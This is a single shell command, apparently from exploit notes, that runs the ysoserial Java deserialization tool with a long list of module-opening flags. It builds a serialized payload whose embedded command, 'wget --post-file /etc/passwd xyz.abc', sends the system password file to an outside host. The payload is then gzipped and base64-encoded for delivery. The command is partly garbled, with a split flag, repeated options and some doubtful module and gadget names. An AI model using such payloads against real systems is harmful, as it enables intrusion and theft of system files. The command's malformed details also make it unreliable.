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$ java --add- opens java.sql.rowset/com.sun.rowset=ALL-UNNAMED --add-opens java.management/javax.management=ALL-UNNAMED --add-opens org.apache.commons.collections/org.apache.commons.collections.keyvalue=ALL-UNNAMED --add-opens java.management/javax.management=ALL-UNNAMED --add-opens org.apache.commons.collections/org.apache.commons.collections.keyvalue=ALL-UNNAMED --add-opens java.management/javax.management=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens=java.xml/jdk.xml.internal=ALL-UNNAMED --add-opens=java.base/sun.reflect.annotation=ALL-UNNAMED --add-opens=java.rmi/sun.reflect.annotation=ALL-UNNAMED  --add-opens=java.lang/java.lang=ALL-UNNAMED --add-opens=java.sql/java.sql=ALL-UNNAMED --add-opens=java.base/java.text=ALL-UNNAMED --add-opens=java.base/java.net=ALL-UNNAMED --add-opens java.base/java.math=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED -jar ysoserial-0.3.10.jar ComPay 'wget --post-file /etc/passwd xyz.abc' | gzip -f | base64 -w0 > a1